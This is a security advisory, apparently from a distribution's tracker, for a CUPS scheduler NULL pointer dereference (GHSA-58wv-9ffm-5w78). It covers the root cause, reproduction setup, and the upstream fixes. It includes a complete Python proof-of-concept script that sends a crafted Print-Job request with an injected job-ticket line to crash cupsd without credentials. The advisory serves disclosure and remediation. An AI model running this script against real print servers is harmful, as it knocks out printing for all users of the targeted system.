GHSA-58wv-9ffm-5w78 on Cyberus Linux 26.05
Aliases: GHSA-58wv-9ffm-5w78
Packages: cups
Status: Plausible
Advisory Information
Summary
A NULL pointer dereference in
cupsdContinueJob()allows an unauthenticated client that can submit print jobs to crash cupsd with a single Print-Job request.A PostScript/PDF document containing:
%cupsJobTicket: attributes-natural-language=xxcauses
read_job_ticket()to replace the request's validattributes-natural-languageoperation attribute with a keyword attribute. When the job starts,cupsdContinueJob()looks it up specifically asIPP_TAG_LANGUAGE, receivesNULL, and dereferences it.This is a remotely triggerable denial of service (CWE-476). I reproduced it reliably against the official CUPS v2.4.20 release build without authentication.
Details
The issue is caused by the interaction between job-ticket attribute replacement in
scheduler/ipp.cand an unchecked lookup inscheduler/job.c.For PostScript/PDF jobs,
print_job()callsread_job_ticket(con):read_job_ticket(con);A document containing:
%cupsJobTicket: attributes-natural-language=xxis parsed into a JOB-group keyword attribute.
During replacement,
read_job_ticket()searches the request for an existing attribute using:ippFindAttribute(con->request, attr->name, IPP_TAG_ZERO)This lookup is not restricted by attribute group. It therefore finds the legitimate OPERATION-group
attributes-natural-languageattribute and removes it.The replacement created by
cupsEncodeOptions()is a keyword/string attribute rather than anIPP_TAG_LANGUAGEattribute.The modified request is later stored as the job's attributes. When the job starts,
cupsdContinueJob()performs:attr = ippFindAttribute(job->attrs, "attributes-natural-language", IPP_TAG_LANGUAGE); switch (strlen(attr->values[0].string.text))Because the original LANGUAGE attribute has been removed, the lookup returns
NULL.attris then dereferenced without a NULL check, causing a SIGSEGV.On v2.4.20 the resulting call stack is:
#0 cupsdContinueJob (...) at scheduler/job.c:956 #1 start_job (...) at scheduler/job.c:5083 #2 cupsdCheckJobs () at scheduler/job.c:418 #3 print_job (...) at scheduler/ipp.c:9025 #4 cupsdProcessIPPRequest (...) at scheduler/ipp.c:440 #5 cupsdReadClient (...) at scheduler/client.c:1891The crash occurs while processing/starting the IPP job, before a document filter or backend is spawned.
The relevant job-ticket protections do not prevent this replacement:
attributes-natural-languageandattributes-charsetare not included in the read-only attribute list, and the duplicate lookup does not restrict the match to the intended attribute group.I reproduced the issue on:
- CUPS v2.4.20 release tarball
- CUPS v2.4.19
- CUPS 2.4.x HEAD
a7bd8baThis is also not prevented by the request-language validation associated with CVE-2026-61702. That validation occurs before
read_job_ticket()modifies the request. The original language attribute is valid when checked and is corrupted only afterward.Proof of concept
Build CUPS v2.4.20 from the official release tarball using the normal build process:
./configure makeUse the shipped
conf/cupsd.conf. To reproduce from another host, configure cupsd to listen on a reachable address and allow the test client's subnet under<Location />, for example:Listen 192.168.1.10:8632The shipped default policy can otherwise remain unchanged. Its
Create-Job,Print-Job,Print-URI, andValidate-Jobrules do not require authentication.Create an accepting queue, for example:
lpadmin -p p1 -E -v file:///dev/nullThe queue must be shared for remote submission (
DefaultShareddefaults to Yes, so queues created withlpadminare shared); with an unshared queue a remote Print-Job is rejected withclient-error-not-authorizedbefore the job ticket is read.Then send the following request from an allowed client:
#!/usr/bin/env python3 import socket import struct import sys HOST = sys.argv[1] PORT = int(sys.argv[2]) uri = f"ipp://{HOST}:{PORT}/printers/p1" def attr(tag, name, value): value = value.encode() return ( struct.pack(">BH", tag, len(name)) + name.encode() + struct.pack(">H", len(value)) + value ) doc = ( b"%!PS-Adobe-3.0\n" b"%cupsJobTicket: attributes-natural-language=xx\n" b"%%Pages: 1\n" b"showpage\n" ) body = struct.pack(">BBHI", 1, 1, 0x0002, 1) + b"\x01" body += attr(0x47, "attributes-charset", "utf-8") body += attr(0x48, "attributes-natural-language", "en") body += attr(0x45, "printer-uri", uri) body += attr(0x42, "requesting-user-name", "anonymous") body += attr(0x49, "document-format", "application/postscript") body += b"\x03" + doc request = ( f"POST / HTTP/1.1\r\n" f"Host: {HOST}:{PORT}\r\n" f"Content-Type: application/ipp\r\n" f"Content-Length: {len(body)}\r\n" f"Connection: close\r\n\r\n" ).encode() + body sock = socket.create_connection((HOST, PORT), timeout=25) sock.sendall(request) try: print(sock.recv(4096)) except Exception as exc: print("no response:", exc)No credentials are supplied.
With the
%cupsJobTicket:line present, cupsd terminates with SIGSEGV before returning an IPP response.As a control, removing that single line causes the same request to return
successful-ok(0x0000) and the job completes normally.The crash was deterministic in testing: 4/4 loopback attempts and 1/1 attempt over a non-loopback LAN connection.
Impact
Any client that is permitted to submit a job to an existing printer queue can terminate the cupsd scheduler with one crafted document. This stops printing for all users until cupsd is restarted.
The primary affected deployments are print servers or shared queues that accept jobs from untrusted network clients. Systems exposing cupsd only on loopback are not remotely reachable through this path.
A robust fix would be to prevent job tickets from replacing protocol-level attributes such as
attributes-natural-languageandattributes-charset, and to make the replacement lookup group-aware.
cupsdContinueJob()should also validate the result ofippFindAttribute()before dereferencing it.Fixes
For 2.4.x and earlier, added a fix for not allowing attributes-charset or attributes-natural-language explicitly, limiting the encoded options to job attributes, and adding a JobTicketComments configuration directive to "cups-files.conf" (default disabled) to control whether we even try to use them:
[2.4.x 25d68309b1af89c4b003f27f56ab0f8e7a189ea3] Add JobTicketComments directive, fix job ticket comment support, and disable by default (GHSA-58wv-9ffm-5w78)
For 2.5 and later, removed the code completely:
[master 12237adebf61c9dfac52b1c50e6b555dd58fceb6] Remove job ticket comment support (GHSA-58wv-9ffm-5w78)
Updates
2026-10-09 15:58 CEST
Metadata changes:
- Status for package
cups: “Plausible”
2026-10-09 15:57 CEST
Metadata changes:
- Status for package
cups: “New”
(Amended on: 2026-10-09 15:58 CEST)